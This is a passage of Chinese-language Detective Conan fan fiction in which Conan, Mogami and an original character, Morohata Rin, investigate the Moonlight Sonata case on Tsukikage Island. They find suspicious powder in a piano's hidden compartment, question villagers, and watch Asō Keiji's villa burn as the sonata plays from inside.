毛利小五郎转头看向一旁的浅井成实,示意她留下照看。浅井成实微微点头,轻声应道:“好的,这里交给我。”
柯南见诸叶凛做好了防护,呼吸也逐渐平稳,这才再次将手按在那扇门的把手上。
柯南推开门后,敏捷地侧身闪入屋内。毛利小五郎紧随其后,并反手“咔哒”一声将门严实合上,动作一气呵成,杜绝了任何气味外泄的可能。
浅井成实担忧地望着紧闭的房门,又转向诸叶凛:“真的不用去诊所吗,诸叶君?”
诸叶凛隔着口罩,声音有些发闷:“没事,休息一下就好。”
门内,柯南与毛利小五郎屏息凝神,站在那架黑色的三角钢琴前。
琴身表面覆盖着一层厚厚的灰尘,使得原本光亮的漆面显得黯淡,在透窗而入的阳光下,泛着陈旧而压抑的光泽。
柯南踮起脚抬起琴盖,伸出食指,在琴键上轻轻按下了两个音。
“叮——咚——”清脆而准确的音色在空旷的房间里荡漾开。
“奇怪,”他盯着钢琴,喃喃自语,“这架琴看起来这么旧,音却调得很准……”
“别乱碰现场的东西!”
毛利小五郎一把将他从琴凳旁拎开,随即自己却俯下身,带着探究的神情,屈起指节在厚重的琴盖上“叩叩”敲了两下。
“嗯……”他直起身,抱着双臂,“看起来似乎就是架普通的钢琴嘛,也没有什么奇怪的味道。”
……明明你自己也在乱碰啊,毛利大叔!被拎到一旁的柯南看着他的动作,嘴角微微抽动。
“咦?”
柯南目光一凝,敏锐地捕捉到钢琴下方的地板上,散落着一些新出现的细碎白色粉末,似乎是刚才毛利小五郎随意敲击钢琴时,从琴身上震落下来的。
他灵巧地钻到钢琴下方昏暗的空间里,用指尖捻起一小撮粉末,凑到鼻尖前轻轻一嗅。
一股极其微弱的气味钻入鼻腔,正是诸叶说的那种混杂着焦糊与甜腻的、令人作呕的味道!
柯南的瞳孔骤然收缩,低声惊呼:“这粉末是……!”
“喂,小鬼!钻到下面干什么?”毛利小五郎不明所以,也弯下腰朝钢琴底下张望。
就在柯南与毛利小五郎专注于调查钢琴的同时,门外,浅井成实仍有些不放心地轻声询问:“除了刚才的不适,还有没有其他地方不舒服?比如头晕或者心悸?”
诸叶凛摇了摇头,接着像是随意提起般问道:“浅井医生,这座岛上除了麻生圭二那件事,还发生过其他值得注意的大事吗?”
浅井成实偏头思考了一下,脸上露出温和的笑容:“月影岛一直很和平,民风淳朴,很少发生恶性事件……”她说到这里,眼神微微闪动,似乎想起了什么,“不过,两年前……”
她刚说到一半,楼梯上突然传来“哒哒哒”的慌乱脚步声,紧接着“砰!”的一声巨响,那扇门被重重推开!
平田和明满脸惊慌地冲了进去:“你们在这里做什么?!快离那架钢琴远一点!那、那是——被诅咒的钢琴啊!”
几乎在门被撞开的同一时刻,诸叶凛的眉头几不可察地蹙了一下,那股令人作呕的气味再次扑面而来。幸好这次有口罩的过滤,虽然仍引起胃部一阵轻微翻搅,但不至于像刚才那样失控。
“被诅咒?”屋内的毛利小五郎直起身。
“没错!”平田和明手指哆哆嗦嗦地指向那架静默的黑色钢琴,喉结剧烈地上下滚动,“这就是麻生圭二在死亡当天弹奏的那架!而、而且,两年前,前任村长龟山先生,就死在这架钢琴旁边!”
他越说越激动:“当时,有人亲耳听见这架钢琴自己在‘演奏’!弹的正是麻生先生在火海里弹的那首《月光奏鸣曲》!可、可是龟山先生……他根本就不会弹钢琴啊!”
毛利小五郎神情一凛:“会不会是其他人偷偷弹奏的?”
“绝对不可能!”平田和明把脑袋摇得像拨浪鼓,双手也在胸前胡乱摆动,“我当时第一个听到琴声跑过来!我可以发誓,当时这个房间里,除
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了已经断气的龟山先生,绝对没有第二个人!”
“这么说的话,”柯南一边接过话头,一边不动声色地带着平田和明往外走,顺手将房门紧紧关上,“这里平时没人会来,对吗?”
“是、是的,基本不会有人来。”平田和明不知道刚才这里发生的插曲,只是听到钢琴声才惊慌失措地跑下来。此刻见两人都已经离开那个房间,他回答的语气变得敷衍起来。
这时,楼梯上传来略显拖沓的脚步声。一个身形圆胖、穿着考究的中年男人走了下来。
看到中年男人下楼,平田和明立刻小跑着迎上去,躬身介绍:“村长,这位就是刚才提到的、想向您了解当年那场火灾的毛利侦探。”
“毛利侦探,这位就是黑岩村长。”
“哦?”黑岩辰次的目光在毛利小五郎身上扫过,眉宇间多出一丝不易察觉的戒备。
这细微的神态变化被诸叶凛不动声色地看在眼里。
黑岩辰次很快控制住表情,脸上堆起笑容,伸出手与毛利小五郎简单一握:“原来是东京来的名侦探,幸会。”
不等毛利小五郎细说,他抢先开口:“不过真是不巧啊,毛利侦探。眼下我必须全心准备今晚的法事,实在抽不开身。您看,能不能等到法事结束后再详谈?”
“什么?要等到晚上?!”毛利小五郎有些着急,“我们等不了那么久啊!”
“等不了?”黑岩辰次眉头微蹙,目光中闪过一丝审视,“毛利侦探这么着急,是出了什么事吗?”
“呃,这个……”毛利小五郎张了张嘴,话到了嘴边又硬生生咽了回去。那封委托信究竟是确切的犯罪预告还是故弄玄虚,他自己也不确定,贸然说出来只会引起不必要的恐慌。他只好强行按下焦躁,瓮声问道:“……那,法事几点能结束?”
黑岩辰次抬手看了看腕表:“六点开始,顺利的话,七点多就能结束,那么我先失陪了。”说完,他不再给毛利小五郎纠缠的机会,带着平田和明匆忙离开。
诸叶凛的目光移向走廊的窗户。窗外院子里,黑岩辰次正不耐烦地挥动手臂,粗暴地拨开挡路的村民,脸上写满了显而易见的烦躁;平田和明则在一旁拼命地劝阻着双方,额头上布满了细密的汗珠,显得手足无措。
两人挤开人群,很快消失在视野里,公民馆外的人群面面相觑一阵后,不甘心地散开。
总算安静了。诸叶凛揉了揉耳根。
“还是不舒服吗?喝点水会好一点。”浅井成实注意到他的动作,转身递过一杯温水。
诸叶凛接过,道了声谢,喝了一口。
毛利小五郎看了下时间,眉头拧成了一个结:“现在刚过五点,也就是说,还要再等两个多小时?!可恶!”
诸叶凛放下杯子,提议道:“这段时间,或许我们可以去找那位老警察问问当年的具体情况,或者分头在岛上打听一下。虽然过去了十二年,但像麻生圭二这样轰动全岛的事件,总会有人还记得一些细节。”
22.不请自来的客人
“唉……看来也只能这样了。”毛利小五郎有些不甘地叹了口气。
柯南跑到诸叶凛身边,刚仰起头想问他感觉怎么样,对方却先一步伸出手,微凉的食指轻轻点了一下他的额头。
“先去洗手。”
柯南愣了一下,随即想起刚才那奇怪的气味,脸上的神情立刻认真起来。
他低下头,镜片反射出思考的白光。当他再抬头时,已经切换回了小孩子特有的、充满好奇的表情。
“叔叔!”他举起沾着白色粉末的手,故意夸张地皱起小脸,“诸叶哥哥闻到的就是这个味道吧?我刚才也闻了一下,好臭哦!”
毛利小五郎将信将疑地弯下腰,凑近他的手嗅了嗅。下一秒,他脸上的散漫瞬间消失,眼神锐利起来。
“这……!”
浅井成实注意到他神色的剧变,上前问道:“毛利先生,这粉末有什么问题吗?”
毛利小五郎没有回答,目光紧紧锁在柯南指尖那白色的粉末上,脸色沉了下来。他二话不说,转身大步走向钢琴房。柯南立刻紧跟上去。
两人在钢琴前蹲下,顺着痕迹仔细搜寻,很快便在钢琴下方发现了一个暗格。
毛利小五郎伸手进去,指腹抹过暗格内部,沾起一点残留的粉末。他再次放到鼻下,仔细确认了那股独特而令人不安的气味后,整张脸彻底沉了下来。
他猛地站起身,一言不发地快步走到屋外一个无人的角落,迅速掏出手机,按下了一串号码。
柯南仔细洗完手回来,还特意把指尖凑到鼻子前闻了闻,确认没有任何异味残留才走到诸叶凛身边。这次对方没有再阻止他靠近。
柯南在他旁边的空位坐下,看着他依旧有些苍白的侧脸,轻声说:“之前我还觉得,你的感官这么敏锐简直像超能力一样……但现在看来,一定也给你添了很多麻烦,很辛苦吧?”
诸叶凛闻言,愣了一下。
麻烦……辛苦?
这两个词像钥匙,猝不及防地打开了一扇尘封的门。脑海里猛地浮现出一双盈满泪水、波光潋滟的眼睛,以及一个带着哭腔、焦急又心疼的声音:
“小凛,我们不去找【月亮】训练了好不好?你的身体感知比我们敏感那么多,一定很疼吧?”
当时自己是怎么回答的?昏迷了太久,很多记忆都已模糊不清。但……应该是同意了吧。不然,【恋人】那个爱哭的家伙,肯定会哭个没完的。
他从短暂的失神中挣脱,看向柯南写满关切的眼睛,嘴角牵起一个很浅的弧度:“没关系,已经习惯了。”
他摘下脸上的口罩,递给柯南:“而且,我的朋友也一直在想办法帮我。”
柯南起初有些不解,但指尖传来的独特触感立刻吸引了他的全部注意力。这绝不是普通的口罩,它异常轻薄,质地像某种液态金属与生物凝胶的融合体,触感冰凉柔滑,几乎感觉不到重量。
“这是……?”
“特殊的过滤材料。”诸叶凛简单解释,“对异常气味的过滤效率很高。”
柯南恍然大悟,将口罩递了回去:“难怪刚才平田先生开门时,你的反应比第一次好多了。”
就在他们低声交谈时,毛利小五郎打完了电话,面色凝重地走了回来。
毛利兰立刻关切地迎上前:“爸爸,到底怎么了?那粉末是……”
毛利小五郎摇了摇头,打断了她的话:“暂时还不能说。等目暮警部他们到了再一起解释。”
“目暮警部?!”毛利兰吃了一惊。
一旁的浅井成实更是完全摸不着头脑,困惑地看了看这个,又看了看那个:“所以……我们现在该做什么?”
毛利小五郎深吸一口气,稳住情绪,让自己看起来和平时没什么区别后,开口说道:“还能做什么?按照诸叶这小子的计划,继续调查麻生圭二的事。在警方到来之前,我们得尽量多掌握些情况。”
黄昏的海风带着湿润的咸腥气,吹得路旁树木枝叶簌簌摇动。
毛利小五郎领着众人来到岛上唯一的警察局,却发现门窗紧闭,屋内一片昏暗。
“没人?”他凑近玻璃门朝里张望,办公桌上落着一层薄灰,连值班的台灯都没打开。
正当几人面面相觑时,一位拎着菜篮的中年妇女恰好路过。她停下脚步,好奇地打量这群生面孔:“你们找警察吗?我们这里只有一位老警员,别看年纪大了,但身体还不错,经常出去巡逻。要是现在不在,大概又上山或者去了港口那边吧。”
“竟然扑了个空……”毛利小五郎又看了一眼关着的门,不太甘心地离开。
眼看时间流逝,众人决定先分头向村民打听消息,并约定好六点在公民馆前汇合。
分组时,毛利兰自然地朝柯南伸出手:“柯南,来跟我一起。”
“不要嘛!”柯南却一下躲到诸叶凛身后,紧紧抓住他的衣角,“我要和诸叶哥哥一起!”
和这家伙行动效率高多了,他暗想,至少不用时刻端着小孩的腔调,能放开手脚调查。
毛利兰双手叉腰,提高了音量:“柯南!”
没等柯南继续耍赖,诸叶凛忽然弯腰,双手从他腋下一抄,轻松地把这个小侦探像拎猫崽似的拎了起来,还在半空中轻晃了一下。
“没关系,毛利小姐,我会负责看住他。”
毛利兰无奈地扶额:“我不是担心这个……唉,好吧。”她弯下腰,严肃地看向柯南,“一定要听话,不准给诸叶君添麻烦,知道吗?”
“知道啦,小兰姐姐!”柯南立刻摆出乖巧笑容,用力点头。
虽然距离那场火灾已过去十二年,但岛上的老人们提起“麻生家的事”依旧议论纷纷。只是每个人的说法都像被海风侵蚀过一般,变得模糊而矛盾。有人说麻生圭二当年精神异常才酿成惨剧,也有人坚信他全家是被人所害。
“我跟你们说,他当年一定是在国外惹到什么不该惹的人了,所以才被人追到岛上灭口的!” 一位并没亲身经历过事件的年轻人,说起推测来却头头是道,仿佛亲眼所见。
“好、好的,我们知道了,谢谢你!” 柯南一边努力维持着礼貌的笑容,一边悄悄拉了拉诸叶凛的衣角,两人趁机从那过于热情的讲述中脱身。
走出那户人家一段距离后,柯南才松了口气,语气带着些许无奈:“大家是挺热情的,但说来说去,都是猜测和道听途说,没什么可靠的线索啊。”
傍晚的风吹过小巷,带着凉意。诸叶凛望向远处渐暗的海平面,轻声说道:“毕竟是十二年前的事了。记忆本身并不可靠,它会随着时间发酵、变形,甚至与别人的讲述、自己的想象混合在一起,最终变成连本人都深信不疑的事实。”
两人在附近又选择了一户开着灯,看起来住了有些年头的人家敲门。门打开后,露面的正是之前在派出所附近遇到过的那位中年妇女。她手里还拿着锅铲,看到两人,脸上露出明显的惊讶。
“诶?你们不是……之前找警察的那两位吗?怎么到这儿来了?”
“我们想了解一下……”柯南刚用稚嫩的嗓音开口,屋里就传来一个男人粗声粗气的喊声。
“在门口磨磨蹭蹭干什么呢!粥都快糊了!”
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“哎呀!你就不能看着点锅吗?”女人回头抱怨了一句,这才又转向门外的两人,语气带着歉意和一点好奇,“我先生。所以,你们这是……?”
这时,一个系着围裙、身材微胖的男人也走到了门口,皱着眉头打量他们:“什么人啊?”
诸叶凛言简意赅:“我们是为十二年前的麻生圭二事件来的,是受委托的侦探。”
男人“哼”了一声,显得很不耐烦:“多少年前的旧事了,有什么好问的!走走走,别打扰我们吃饭!”说着就要关门。
“啪!”
诸叶凛的手掌重重按在门板上,阻止了门合上。在男人错愕的目光中,他另一只手从口袋里抽出一张万元纸币递了过去,语气平静无波:“很快,只是几个问题。”
男人看着钞票,一下子愣住了。他妻子反应更快,立刻从旁边挤过来,脸上堆起热情的笑容,抢过钞票收好:“哎呀,您太客气了!想问什么尽管问,我们知道的一定说!”
“关于麻生圭二家的情况,你们还记得什么?”诸叶凛问。
“麻生先生啊……”女人努力回忆着,“我记得他好像是有个儿子……”
“你乱说什么!”她丈夫像是想要展现自己,否定她后,带着点得意地说道,“麻生先生有的是女儿!我记得,一个挺秀气的女孩!”
“我怎么就乱说了?我明明记得是儿子!”
“算了吧!”男人音量提高,带着被质疑的不快,“你上个月去商店还能把盐当成糖买回来,十二年前别人家是儿子是女儿你倒记得清楚?”
“这跟买错盐有什么关系!”女人脸一红,立刻反击,“我记性比你好!半年前是谁烧菜把锅都烧穿了?”
“那一年前那次,是谁把酱油当醋倒进菜里了?!难吃死了!”
“哼,那你三年前还不是把洗好的衣服晾在外面忘了收,全被雨淋透了?还好意思说我!”
眼看夫妻俩从十二年前的悬案一路吵到三年前的忘收衣服,越吵越起劲,完全偏离了主题。诸叶凛与柯南对视一眼,默契地保持了沉默,趁着这对夫妇沉浸于互相揭短的“记忆大赛”时,悄无声息地转身离开了这片逐渐升温的战场。
在诸叶凛等人艰难地拼凑着过往碎片的同时,岛屿的另一端,那座孤悬于山顶、俯瞰着整个月影岛的别墅,迎来了一位不请自来的客人。
厚重的实木大门被无声地推开一道缝隙,一道轻盈得过分的身影如同归巢的燕雀般,灵巧地滑了进去。
【恋人】哼着不成调的曲子,迈着近乎舞蹈般的欢快步伐,在空旷而略显阴冷的门厅里转了个圈。他的目光饶有兴致地扫过明显翻新过的墙壁与吊灯,指尖轻轻拂过光洁的楼梯扶手。
“嗯…虽然里里外外都翻新过了,”【恋人】自言自语,声音在寂静的空间里显得格外清晰,“但看起来,和麻生老师当年寄来的那些照片,还真是差不多嘛……” 他的嘴角向上弯起一个极其愉悦的弧度,眼中闪烁着孩童发现宝藏般的光芒,“这可真是……太好了。”
就在这时,别墅的大门方向,传来了钥匙插入锁孔、继而转动开启的、清晰的金属摩擦声。
【恋人】脸上的笑容瞬间变得更加灿烂,仿佛早已等候多时。他微微歪头,对着空无一人的客厅,用轻柔而甜腻的嗓音,吐出了未尽的话语:
“毕竟——”
“这样,才能和当年,‘一模一样’啊。”
窗外,最后一抹夕阳的余晖被山脊一点点吞噬殆尽。巨大的阴影如潮水般漫过房间,也漫过了【恋人】脸上那定格不变的笑容。
23.火中的奏鸣曲
一个小时在徒劳的奔波中很快过去,众人依照约定,陆陆续续回到了公民馆前集合。
诸叶凛只扫了一眼众人脸上那混合着疲惫与茫然的神情,便知道这一轮的调查收效甚微。
毛利小五郎把自己扔到树下的长椅上,整个人瘫靠着:“唉!这岛上是没多少人,可像这样挨家挨户问下去,效率也太低了!最关键的是,十个人嘴里能冒出十一种说法,根本对不上号!”
毛利兰努力安慰道:“爸爸,别这么灰心嘛,至少比坐在这里什么都不做要好呀。”
浅井成实抬头望了望已经完全暗下来的天色,又看了看公民馆内亮起的灯火:“法事差不多要开始了,我们不如先进去吧?按照惯例,除了黑岩村长,当年事件的另外两位见证人——川岛先生和西本先生,应该也会到场。”
“啧,希望他们真的知道一些重要的细节吧。”毛利小五郎不情不愿地站起身,拍了拍裤子上的灰尘。
一行人走入公民馆主厅。厅内已布置成灵堂,庄严肃穆。正前方的桌上摆着前任村长龟山勇的遗像,下方香案上烟雾缭绕,空气中弥漫着线香特有的沉静气味。十几位岛民安静地跪坐在蒲团上,伴随着僧侣低沉的诵经声,气氛凝重。
毛利小五郎没心思参与法事,他的目光像探照灯一样在人群中扫视,随即压低声音问身边的浅井成实:“成实医生,哪两位是川岛和西本?”
浅井成实也仔细环顾了一圈,脸上浮现出困惑:“奇怪……我没看到他们。这两位,往年龟山先生的法事是从来不会缺席的。”
毛利小五郎眉头拧紧,顺手拦住一位正要去添香的僧侣,低声询问:“打扰一下,请问黑岩村长回来了吗?”
僧侣双手合十,摇了摇头:“村长尚未归来。”
毛利小五郎看着手表,指针不偏不倚,正指向六点整。
他忍不住从鼻子里哼了一声,低声抱怨道:“啧,嘴上说着要专心准备法事,自己却迟到……这家伙的态度未免也太随便了。”
时间一分一秒过去,三人迟迟未到。屋内参与法事的人们也渐渐察觉到了异常,低语声慢慢扩散开来。
“黑岩村长怎么还没来?他不是要主持仪式吗?”
“川岛先生也没露面,听说他们最近为了选举的事闹得很僵,该不会在什么地方打起来了吧?”
“别乱猜了。就算他们两个有事情耽误,西本先生总该来了吧?”
议论声逐渐变大,原本庄严肃穆的气氛一点点被不安取代。
诸叶凛独自靠在窗边,自始至终一言不发,他的目光穿透玻璃,牢牢锁在远方的某处。
“你在看什么?”柯南走到他身边,仰头问道。
诸叶凛的目光仍定定地锁在窗外的某一点上:“柯南,这座岛今天有安排篝火晚会之类的活动吗?”
“……”柯南被他这没头没脑的问题噎了一下,忍不住吐槽,“谁会选在举办法事的时候搞篝火晚会啊?”
“嗯,” 诸叶凛非常认真地点了点头,“我也觉得不会。所以……”
他话音一顿,伸手将柯南抱了起来,让他能清楚地看到窗外,同时指向远方。
“出事了。”
柯南的视线瞬间聚焦。只见远处山顶的方向,几缕不祥的黑烟正袅袅升起,在月光的照耀下融入夜空。
“等等,这个是……!”
他用力推开窗户,傍晚微凉的风立刻灌入,也让视野变得更加清晰,那片升腾的烟雾下方,隐约可见不正常的、跳跃的赤红色光芒。
“是火!山顶着火了!” 柯南指着窗外大声喊道。
“什么?!” 毛利小五郎一个箭步冲到最近的窗边,向外望去,脸色骤变,“真的着火了!”
“我联系消防!” 柯南反应极快,已经掏出手机,飞快地按下号码。
“喂,这里是东京都消防厅。请问——”
“月影岛山顶起火了!请马上派人来救火!” 柯南急促地报告。
“月影岛?!” 电话那头的声音一顿,随即传来为难的答复,“抱歉,去那边必须调度船只,最快也要一个小时才能到达现场!”
“一个小时?!” 柯南震惊地瞪大了眼睛。
“是的,请尽快组织岛上的居民先行自救,我们这边会立刻出发!”
电话挂断的瞬间,柯南已经冲出了公民馆。除了仍在专心诵经的僧侣,其余人都被这突如其来的火情惊动,跟着他涌了出去。
“山顶着火了!”
“快!快去帮忙!”
奔跑的脚步声和呼喊声在宁静的
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小岛上回荡,如同投入平静水面的石子,激起了层层涟漪。一扇扇门被推开,越来越多的居民探出头,在得知情况后,许多人立刻转身回家,抓起水桶,自发地汇入人流,朝着火光冲天的山顶狂奔。
越靠近山顶,空气越发灼热呛人。夜色被冲天的火舌染成不祥的暗红色,浓密的黑烟翻滚着,夹杂着火星,刺痛着每个人的眼睛和喉咙。
当他们终于气喘吁吁地赶到山顶的空地时,所有人都被眼前的景象震住了。
一栋颇具规模的西式别墅已经完全被烈焰吞噬,火舌疯狂地舔舐着木质结构,发出噼啪的爆裂声,灼热的气浪扑面而来,逼得人无法靠近。
柯南怔怔地望着那片火海。毛利小五郎双手撑着膝盖,大口喘着气,用手背抹去快要流进眼睛的汗水,声音带着无奈与被烟呛到的嘶哑:“哈……哈……这种火势……没有专业的消防设备,根本不可能扑灭!”
毛利兰望着那栋在火焰中哀嚎的建筑,双手不自觉地紧握在胸前,脸上写满了担忧,低声喃喃:“不知道里面有没有人……”
“哦,这个啊,你们不用担心。”
众人回头,只见之前那位老警员正沿着那条通往山顶的小路走上来,站到他们身边。他看了一眼熊熊燃烧的别墅,脸上并没有太多紧张的神色。
他抬手指向那栋别墅,解释道:“这里就是麻生圭二当年的房子。后来虽然翻新过,但岛上的人都觉得不吉利,根本没人愿意住进来,这么多年一直空着。所以里面肯定没人,烧了就烧了吧,只要人没事就好。”
这里是……麻生圭二的别墅?!
柯南浑身的血液仿佛骤然冻结!
下一秒,一个清晰、悠扬的音符,突兀地穿透了火焰燃烧的咆哮声,钻入了他的耳中。
紧接着,是第二个,第三个……一段流畅的旋律,竟从那片绝无可能生存的火海中央,清晰地传了出来!
夜风卷挟着那明亮、舒缓的曲调,飘荡在灼热的空气中。每一个音符都干净得不可思议,在此刻出现却令人头皮发麻。
柯南的瞳孔剧烈收缩至针尖大小,一股寒意从脊椎直冲头顶。
“这首曲子是——”
他与脸色同样难看的毛利小五郎同时脱口而出:
“月光奏鸣曲!”